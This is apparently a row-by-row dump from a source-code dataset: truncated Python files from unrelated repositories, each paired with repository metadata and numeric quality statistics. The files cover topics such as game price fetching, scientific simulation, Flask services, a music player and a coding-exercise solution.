# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distri... | 25.193545 | 79 | 0.472439 | 25,121 | 265,414 | 4.991521 | 0.033677 | 0.188624 | 0.314374 | 0.029188 | 0.313377 | 0.075435 | 0.010854 | 0 | 0 | 0 | 0 | 0.005234 | 0.317576 | 265,414 | 10,534 | 80 | 25.195937 | 0.687061 | 0.003971 | 0 | 0 | 0 | 0 | 0.542563 | 0.354192 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.001332 | 0.002473 | 0 | 0.002473 | 0.003995 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
661546474c795c91d1a7e8fb806431b8b074972c | 3,289 | py | Python | gw2_price_get.py | rpatricktaylor/gw2_pricepull | ede658cd7cb567d8ab7e6c7698acee83eacc78a3 | [
"MIT"
] | null | null | null | gw2_price_get.py | rpatricktaylor/gw2_pricepull | ede658cd7cb567d8ab7e6c7698acee83eacc78a3 | [
"MIT"
] | null | null | null | gw2_price_get.py | rpatricktaylor/gw2_pricepull | ede658cd7cb567d8ab7e6c7698acee83eacc78a3 | [
"MIT"
] | null | null | null | import json
import time
import bs4
import numpy as np
import pandas as pd
import requests as rqs
url_apiV2 = r'https://api.guildwars2.com/v2'
working_dir = r'/home/ubuntu/'
def gw2_request(request_type, item_nums, retries = 25):
item_num_str = ','.join([str(num) for num in item_nums])
req... | 29.366071 | 89 | 0.549407 | 391 | 3,289 | 4.347826 | 0.278772 | 0.065882 | 0.035294 | 0.037059 | 0.179412 | 0.144118 | 0.125882 | 0 | 0 | 0 | 0 | 0.021216 | 0.355123 | 3,289 | 111 | 90 | 29.630631 | 0.780292 | 0 | 0 | 0.075949 | 0 | 0 | 0.086218 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.075949 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
661759e4ea700063225bc588e580457ea479d76a | 1,954 | py | Python | 02_assignment/toolbox/Toolbox_Python02450/Scripts/ex3_1_2.py | LukaAvbreht/ML_projects | 8b36acdeb017ce8a57959c609b96111968852d5f | [
"MIT"
] | null | null | null | 02_assignment/toolbox/Toolbox_Python02450/Scripts/ex3_1_2.py | LukaAvbreht/ML_projects | 8b36acdeb017ce8a57959c609b96111968852d5f | [
"MIT"
] | null | null | null | 02_assignment/toolbox/Toolbox_Python02450/Scripts/ex3_1_2.py | LukaAvbreht/ML_projects | 8b36acdeb017ce8a57959c609b96111968852d5f | [
"MIT"
] | null | null | null | # exercise 3.1.4
import numpy as np
from sklearn.feature_extraction.text import CountVectorizer
# Load the textDocs.txt as a long string into raw_file:
with open('../Data/textDocs.txt', 'r') as f:
raw_file = f.read()
# raw_file contains sentences seperated by newline characters,
# so we split by '\n':
corpus = ra... | 37.576923 | 79 | 0.746162 | 312 | 1,954 | 4.644231 | 0.477564 | 0.019324 | 0.013803 | 0.031746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005432 | 0.151996 | 1,954 | 52 | 80 | 37.576923 | 0.86904 | 0.58086 | 0 | 0.192308 | 0 | 0 | 0.282854 | 0.026283 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0.576923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
6622d00606e15445d1e62f002d0259e183e527a7 | 1,921 | py | Python | Asap-3.8.4/doc/manual/Dislocation.py | auag92/n2dm | 03403ef8da303b79478580ae76466e374ec9da60 | [
"MIT"
] | 1 | 2021-10-19T11:35:34.000Z | 2021-10-19T11:35:34.000Z | Asap-3.8.4/doc/manual/Dislocation.py | auag92/n2dm | 03403ef8da303b79478580ae76466e374ec9da60 | [
"MIT"
] | null | null | null | Asap-3.8.4/doc/manual/Dislocation.py | auag92/n2dm | 03403ef8da303b79478580ae76466e374ec9da60 | [
"MIT"
] | 3 | 2016-07-18T19:22:48.000Z | 2021-07-06T03:06:42.000Z | #!/usr/bin/env python
from Asap.Setup.Lattice.FCCOrtho import *
from Asap.Setup.Dislocation import Dislocation
from ASE.ChemicalElements import Element
from Asap import *
from Asap.Trajectories import NetCDFTrajectory
from ASE.Visualization.PrimiPlotter import *
from Numeric import *
splitting = 5
size = (25, 35, 10)... | 28.671642 | 83 | 0.692868 | 291 | 1,921 | 4.573883 | 0.398625 | 0.013524 | 0.009016 | 0.006011 | 0.105184 | 0.105184 | 0.105184 | 0.105184 | 0.105184 | 0.105184 | 0 | 0.054301 | 0.146799 | 1,921 | 66 | 84 | 29.106061 | 0.757779 | 0.173868 | 0 | 0 | 0 | 0 | 0.058413 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.166667 | null | null | 0.047619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
66338488816d4107164bc58a2e6c72cf6c5eff02 | 2,997 | py | Python | admit/at/test/test_ingest.py | astroumd/admit | bbf3d79bb6e1a6f7523553ed8ede0d358d106f2c | [
"MIT"
] | 4 | 2017-03-01T17:26:28.000Z | 2022-03-03T19:23:06.000Z | admit/at/test/test_ingest.py | teuben/admit | 1cae54d1937c9af3f719102838df716e7e6d655c | [
"MIT"
] | 48 | 2016-10-04T01:25:33.000Z | 2021-09-08T14:51:10.000Z | admit/at/test/test_ingest.py | teuben/admit | 1cae54d1937c9af3f719102838df716e7e6d655c | [
"MIT"
] | 2 | 2016-11-10T14:10:22.000Z | 2017-03-30T18:58:05.000Z | #! /usr/bin/env casarun
#
#
# you can either use the "import" method from within casapy
# or use the casarun shortcut to run this from a unix shell
# with the argument being the casa image file to be processed
#
# Typical test usage:
# ./test_ingest.py test123.fits [dummy]
# This will produce admit.... | 29.382353 | 79 | 0.602936 | 435 | 2,997 | 4.08046 | 0.344828 | 0.027606 | 0.037183 | 0.027042 | 0.20169 | 0.20169 | 0.15662 | 0.147042 | 0.084507 | 0.033803 | 0 | 0.026401 | 0.279613 | 2,997 | 101 | 80 | 29.673267 | 0.795739 | 0.281615 | 0 | 0.305085 | 0 | 0 | 0.1349 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.135593 | null | null | 0.169492 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6641ac84a38502d2627abdd02f07c01a4087638b | 527 | py | Python | return_type_test.py | leeamen/eva | 311c59d24dec74359a5e15ff5b6b50c2c51dae5b | [
"Apache-2.0"
] | null | null | null | return_type_test.py | leeamen/eva | 311c59d24dec74359a5e15ff5b6b50c2c51dae5b | [
"Apache-2.0"
] | null | null | null | return_type_test.py | leeamen/eva | 311c59d24dec74359a5e15ff5b6b50c2c51dae5b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
#coding:utf8
import mybaselib
import logging
import jieba
import jieba.analyse
import numpy as np
import csv
import sys
import stat
import os
reload(sys)
sys.setdefaultencoding('utf-8')
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
if __name__ == '__main__':
fname = sys.argv[... | 18.821429 | 52 | 0.766603 | 71 | 527 | 5.450704 | 0.56338 | 0.085271 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006508 | 0.125237 | 527 | 27 | 53 | 19.518519 | 0.832972 | 0.051233 | 0 | 0 | 0 | 0 | 0.04829 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
664d2d03cdb7e33d3656413c2db3c4e8abff4e55 | 996 | py | Python | ssaw/headquarters.py | vavalomi/ssaw | 30172f22e8703f29b1abc159e52e4090960207be | [
"MIT"
] | 9 | 2019-04-06T09:36:20.000Z | 2022-01-18T18:25:37.000Z | ssaw/headquarters.py | vavalomi/ssaw | 30172f22e8703f29b1abc159e52e4090960207be | [
"MIT"
] | 4 | 2020-06-15T01:36:37.000Z | 2021-12-02T06:51:37.000Z | ssaw/headquarters.py | vavalomi/ssaw | 30172f22e8703f29b1abc159e52e4090960207be | [
"MIT"
] | 3 | 2018-04-09T18:17:54.000Z | 2022-01-14T08:38:02.000Z |
from requests import Session
from .__about__ import __title__, __version__
from .models import Version
class Client(object):
"""Initializes the API client
:param url: URL of the headquarters app
:param api_user: API user name
:param api_password: API user password
:param workspace:... | 32.129032 | 96 | 0.633534 | 116 | 996 | 5.172414 | 0.431034 | 0.058333 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004043 | 0.25502 | 996 | 30 | 97 | 33.2 | 0.804582 | 0.215863 | 0 | 0 | 0 | 0 | 0.056708 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0.117647 | 0.176471 | 0 | 0.411765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
6654074dd5ec2877f4151dd8acf9472e6d0390e3 | 294 | py | Python | test.py | paleherring/paleworld | 6097fc062238cd3701ea468ea750c7a1d6b70dca | [
"Unlicense"
] | null | null | null | test.py | paleherring/paleworld | 6097fc062238cd3701ea468ea750c7a1d6b70dca | [
"Unlicense"
] | null | null | null | test.py | paleherring/paleworld | 6097fc062238cd3701ea468ea750c7a1d6b70dca | [
"Unlicense"
] | null | null | null |
import tensorflow as tf
# Create TensorFlow object called tensor
hello_constant = tf.constant('Hello World!')
with tf.Session() as sess:
# Run the tf.constant operation in the session
output = sess.run(hello_constant)
print(output.decode())# bytestring decode to string.
| 29.4 | 57 | 0.721088 | 40 | 294 | 5.25 | 0.6 | 0.12381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193878 | 294 | 9 | 58 | 32.666667 | 0.886076 | 0.380952 | 0 | 0 | 0 | 0 | 0.071429 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b07211dd68e613a65eed975d73ce7904748f47e1 | 3,207 | py | Python | server.py | shucheng-ai/WDA-dwg2dxf | ab89320c0e98e13d17cdde9e2ffa6060f9ec8443 | [
"Apache-2.0"
] | null | null | null | server.py | shucheng-ai/WDA-dwg2dxf | ab89320c0e98e13d17cdde9e2ffa6060f9ec8443 | [
"Apache-2.0"
] | null | null | null | server.py | shucheng-ai/WDA-dwg2dxf | ab89320c0e98e13d17cdde9e2ffa6060f9ec8443 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
import os
import logging
import time
from datetime import datetime
import subprocess as sp
import json
from flask import Flask, request, jsonify, send_from_directory
LOG_LEVEL = 'INFO'
LOG_PATH = 'dwg2dxf.log'
LOG_DIR = 'log'
PORT=8001
try:
from local_config import *
except:
pass
fmt =... | 27.410256 | 127 | 0.665108 | 454 | 3,207 | 4.535242 | 0.321586 | 0.016999 | 0.019427 | 0.020398 | 0.093249 | 0.048567 | 0.048567 | 0.048567 | 0.048567 | 0.048567 | 0 | 0.020968 | 0.182102 | 3,207 | 116 | 128 | 27.646552 | 0.764011 | 0.055504 | 0 | 0.102273 | 0 | 0.022727 | 0.186817 | 0.053329 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.056818 | 0.090909 | 0.034091 | 0.261364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b07a58de9437362aaa9673805d54668fa6ee8b1a | 1,592 | py | Python | audio_to_video.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 13 | 2019-12-09T07:56:13.000Z | 2021-08-03T01:45:53.000Z | audio_to_video.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 1 | 2020-04-29T00:00:14.000Z | 2021-07-09T14:24:19.000Z | audio_to_video.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 3 | 2020-04-27T15:36:36.000Z | 2021-03-29T17:52:35.000Z | # -*- coding: utf-8 -*-
# Attempt to convert audio to video by visualizing audio
import argparse
from lib.audio_utils import *
from lib.collection_utils import *
from lib.io_utils import *
from lib.math_utils import *
import librosa
import os
import numpy as np
from pprint import pprint
import sys
# input
parser = a... | 40.820513 | 158 | 0.736809 | 228 | 1,592 | 5.065789 | 0.460526 | 0.062338 | 0.117749 | 0.046753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00924 | 0.116206 | 1,592 | 38 | 159 | 41.894737 | 0.811656 | 0.089824 | 0 | 0 | 0 | 0 | 0.307906 | 0.014563 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.384615 | 0 | 0.384615 | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b07d0af1d5f8010ec7eddc7c33bb9c1c0be29019 | 982 | py | Python | server/api/login.py | ONSdigital/nsdc | 5117189c28f923adca2cd7173673d798fb9232c2 | [
"MIT"
] | 4 | 2016-12-19T11:26:38.000Z | 2017-01-27T09:51:48.000Z | server/api/login.py | ONSdigital/nsdc | 5117189c28f923adca2cd7173673d798fb9232c2 | [
"MIT"
] | 6 | 2017-01-04T08:21:49.000Z | 2017-01-18T09:33:59.000Z | server/api/login.py | ONSdigital/nsdc | 5117189c28f923adca2cd7173673d798fb9232c2 | [
"MIT"
] | 2 | 2017-01-12T14:46:00.000Z | 2021-04-11T08:20:45.000Z | from flask import jsonify, abort
from flask_restful import reqparse, Resource
from config import db
from data.user import UserData
from datetime import datetime, timedelta
from data.user_session import UserSessionData
parser = reqparse.RequestParser()
parser.add_argument('username')
parser.add_argument('password')
c... | 31.677419 | 84 | 0.680244 | 112 | 982 | 5.857143 | 0.446429 | 0.083841 | 0.036585 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006605 | 0.229124 | 982 | 30 | 85 | 32.733333 | 0.859974 | 0.045825 | 0 | 0 | 0 | 0 | 0.040642 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0.12 | 0.24 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b08a5207d720024f5a7b224624903d987ddda152 | 172 | py | Python | sails/scripts/s4ilsd.py | metrasynth/solar-sails | 3a10774dad29d85834d3acb38171741b3a11ef91 | [
"MIT"
] | 6 | 2016-11-22T14:32:55.000Z | 2021-08-15T01:35:33.000Z | sails/scripts/s4ilsd.py | metrasynth/s4ils | efc061993d15ebe662b72ab8b3127f7f7ce2f66b | [
"MIT"
] | 2 | 2022-03-18T16:47:43.000Z | 2022-03-18T16:47:44.000Z | sails/scripts/s4ilsd.py | metrasynth/s4ils | efc061993d15ebe662b72ab8b3127f7f7ce2f66b | [
"MIT"
] | 2 | 2019-07-09T23:44:08.000Z | 2021-08-15T01:35:37.000Z | import begin
from sails.server import Server
@begin.start
def main():
"""Start a sailsd server."""
s = Server()
s.start_loop()
print('Stopping sailsd.')
| 14.333333 | 32 | 0.639535 | 23 | 172 | 4.73913 | 0.608696 | 0.12844 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.22093 | 172 | 11 | 33 | 15.636364 | 0.813433 | 0.127907 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.428571 | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b08c3106ba8836d69e6a9d54ebffc20973d03ab3 | 2,412 | py | Python | tests/unit/test_CombineUtils.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | null | null | null | tests/unit/test_CombineUtils.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | null | null | null | tests/unit/test_CombineUtils.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | 1 | 2021-02-26T10:08:09.000Z | 2021-02-26T10:08:09.000Z | """Test classes defined within pbtranscript.CombineUtils."""
import unittest
import os.path as op
from pbcore.io import FastaReader, FastqReader
from pbtranscript.Utils import rmpath, mkdir
from pbtranscript.ClusterOptions import IceQuiverHQLQOptions
from pbtranscript.CombineUtils import CombineRunner
from test_setpa... | 44.666667 | 119 | 0.66791 | 317 | 2,412 | 4.760252 | 0.365931 | 0.043738 | 0.039761 | 0.033797 | 0.138502 | 0.109344 | 0.098078 | 0.098078 | 0.098078 | 0.055666 | 0 | 0.047027 | 0.233002 | 2,412 | 53 | 120 | 45.509434 | 0.768649 | 0 | 0 | 0 | 0 | 0 | 0.137439 | 0.088353 | 0 | 0 | 0 | 0 | 0.135135 | 0 | null | null | 0.027027 | 0.189189 | null | null | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b08de9297fed4fd2dc955f61769ed5126ab756ff | 7,063 | py | Python | rattlemediaplayer.py | simonjduff/rattle-media | 10a15b47653fce1962a022f973cfb9adcfc8976d | [
"MIT"
] | null | null | null | rattlemediaplayer.py | simonjduff/rattle-media | 10a15b47653fce1962a022f973cfb9adcfc8976d | [
"MIT"
] | null | null | null | rattlemediaplayer.py | simonjduff/rattle-media | 10a15b47653fce1962a022f973cfb9adcfc8976d | [
"MIT"
] | null | null | null | import config
from gmusicapi import Mobileclient
import logging
from gi.repository import Gst, GLib
from collections import deque
from gevent import Greenlet
import gevent
class PlayerStates:
Stopped = "Stopped"
Paused = "Paused"
Playing = "Playing"
class RattleMediaPlayer:
def __init__(self):
... | 30.97807 | 120 | 0.626646 | 816 | 7,063 | 5.188725 | 0.209559 | 0.061408 | 0.026453 | 0.018895 | 0.237837 | 0.094709 | 0.032121 | 0.01795 | 0 | 0 | 0 | 0.003135 | 0.277502 | 7,063 | 227 | 121 | 31.114537 | 0.826573 | 0.049696 | 0 | 0.278107 | 0 | 0.005917 | 0.061605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.201183 | false | 0.047337 | 0.04142 | 0 | 0.331361 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b08f4780d97da42bde288fca67a55a22f887a6e4 | 796 | py | Python | Matrix/Leetcode 1219. Path with Maximum Gold.py | kaizhengny/LeetCode | 67d64536ab80f4966699fe7460d165f2a98d6a82 | [
"MIT"
] | 31 | 2020-06-23T00:40:04.000Z | 2022-01-08T11:06:24.000Z | Matrix/Leetcode 1219. Path with Maximum Gold.py | kaizhengny/LeetCode | 67d64536ab80f4966699fe7460d165f2a98d6a82 | [
"MIT"
] | null | null | null | Matrix/Leetcode 1219. Path with Maximum Gold.py | kaizhengny/LeetCode | 67d64536ab80f4966699fe7460d165f2a98d6a82 | [
"MIT"
] | 7 | 2020-04-30T08:46:03.000Z | 2021-08-28T16:25:54.000Z | class Solution:
def getMaximumGold(self, grid: List[List[int]]) -> int:
m, n = len(grid), len(grid[0])
res = 0
visited = set()
for i in range(m):
for j in range(n):
if grid[i][j]!=0:
x = self.helper(grid, i, j, visited)
... | 37.904762 | 170 | 0.487437 | 127 | 796 | 3.055118 | 0.244094 | 0.041237 | 0.180412 | 0.154639 | 0.35567 | 0.35567 | 0.35567 | 0.35567 | 0.35567 | 0.247423 | 0 | 0.023033 | 0.345477 | 796 | 21 | 171 | 37.904762 | 0.721689 | 0 | 0 | 0.315789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b09420355cd78009585e40b4e31a9c435f3442c4 | 1,853 | py | Python | motor-blog/motor_blog/text/__init__.py | gaoyuankidult/SocialRoboics | c363089e220ae0d2780b26693a154ad55fa64132 | [
"MIT"
] | null | null | null | motor-blog/motor_blog/text/__init__.py | gaoyuankidult/SocialRoboics | c363089e220ae0d2780b26693a154ad55fa64132 | [
"MIT"
] | null | null | null | motor-blog/motor_blog/text/__init__.py | gaoyuankidult/SocialRoboics | c363089e220ae0d2780b26693a154ad55fa64132 | [
"MIT"
] | null | null | null | import re
from HTMLParser import HTMLParser
class HTMLPassThrough(HTMLParser):
"""Maintains a stack of tags and returns the same HTML it parses.
Base class for more interesting parsers in markup.py.
"""
def reset(self):
HTMLParser.reset(self)
self.stack = []
self.out = []
... | 25.736111 | 73 | 0.557474 | 222 | 1,853 | 4.572072 | 0.310811 | 0.082759 | 0.076847 | 0.055172 | 0.318227 | 0.318227 | 0.318227 | 0.187192 | 0.114286 | 0.114286 | 0 | 0.00154 | 0.298975 | 1,853 | 71 | 74 | 26.098592 | 0.779831 | 0.083648 | 0 | 0.212766 | 0 | 0 | 0.064958 | 0 | 0 | 0 | 0 | 0 | 0.042553 | 1 | 0.276596 | false | 0.021277 | 0.042553 | 0.06383 | 0.446809 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0970f0b88a768e2c8fb0cd991053af1b46afa1b | 2,675 | py | Python | .leetcode/75.sort-colors.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/75.sort-colors.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/75.sort-colors.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | # @lc app=leetcode id=75 lang=python3
#
# [75] Sort Colors
#
# https://leetcode.com/problems/sort-colors/description/
#
# algorithms
# Medium (49.90%)
# Likes: 5201
# Dislikes: 298
# Total Accepted: 663.5K
# Total Submissions: 1.3M
# Testcase Example: '[2,0,2,1,1,0]'
#
# Given an array nums with n objects colore... | 20.265152 | 77 | 0.542804 | 387 | 2,675 | 3.731266 | 0.351421 | 0.012465 | 0.00831 | 0.01108 | 0.189058 | 0.16482 | 0.127424 | 0.054017 | 0 | 0 | 0 | 0.058217 | 0.274393 | 2,675 | 132 | 78 | 20.265152 | 0.685729 | 0.451589 | 0 | 0.36 | 0 | 0 | 0.168933 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0.02 | 0.02 | 0 | 0.08 | 0.64 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
b099b5932476f4ea71fffb1250e8c27e0a4ecda3 | 7,302 | py | Python | coherence/extern/simple_config.py | crass/coherence | d1cf150f5fa4a4bd75c7ec682ef2a2783ccf50ca | [
"MIT"
] | 4 | 2016-01-23T11:06:37.000Z | 2017-06-03T18:05:53.000Z | coherence/extern/simple_config.py | sreichholf/python-coherence | f39fbd2bd0ae749d2ca161f807a2efebc493492f | [
"MIT"
] | null | null | null | coherence/extern/simple_config.py | sreichholf/python-coherence | f39fbd2bd0ae749d2ca161f807a2efebc493492f | [
"MIT"
] | 3 | 2017-02-02T18:58:35.000Z | 2019-02-15T03:07:19.000Z | # -*- coding: utf-8 -*-
# Licensed under the MIT license
# http://opensource.org/licenses/mit-license.php
# based on: http://code.activestate.com/recipes/573463/
# Modified by Philippe Normand
# Copyright 2008, Frank Scholz <coherence@beebits.net>
from coherence.extern.et import ET as ElementTree, indent, parse_xml... | 31.474138 | 105 | 0.571898 | 793 | 7,302 | 5.143758 | 0.223203 | 0.073547 | 0.019613 | 0.039225 | 0.188281 | 0.174553 | 0.151017 | 0.126992 | 0.100515 | 0.100515 | 0 | 0.007074 | 0.322377 | 7,302 | 231 | 106 | 31.61039 | 0.8173 | 0.126541 | 0 | 0.301205 | 0 | 0 | 0.020531 | 0 | 0 | 0 | 0 | 0 | 0.006024 | 0 | null | null | 0.012048 | 0.006024 | null | null | 0.006024 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b09aee01c7ad46563e06e418ba66c3d71fe3908d | 1,090 | py | Python | teamcat_service/docker_build/target/one_step_build/teamcat/doraemon/api/ci/views/ci_task_parameter_view.py | zhangyin2088/Teamcat | be9be8d7c1e58c8d2d22ab78d25783d9aee4de71 | [
"Apache-2.0"
] | 6 | 2018-11-26T08:42:52.000Z | 2020-06-01T08:33:48.000Z | teamcat_service/doraemon/doraemon/api/ci/views/ci_task_parameter_view.py | zhangyin2088/Teamcat | be9be8d7c1e58c8d2d22ab78d25783d9aee4de71 | [
"Apache-2.0"
] | null | null | null | teamcat_service/doraemon/doraemon/api/ci/views/ci_task_parameter_view.py | zhangyin2088/Teamcat | be9be8d7c1e58c8d2d22ab78d25783d9aee4de71 | [
"Apache-2.0"
] | 1 | 2019-01-22T06:45:36.000Z | 2019-01-22T06:45:36.000Z | #coding=utf-8
# coding=utf-8
'''
Created on 2014-1-5
@author: ETHAN
'''
from rest_framework import generics
from doraemon.api.ci.serializer import ci_serializer
from rest_framework.permissions import AllowAny
from doraemon.ci.mongo_models import CITaskParameterGroup
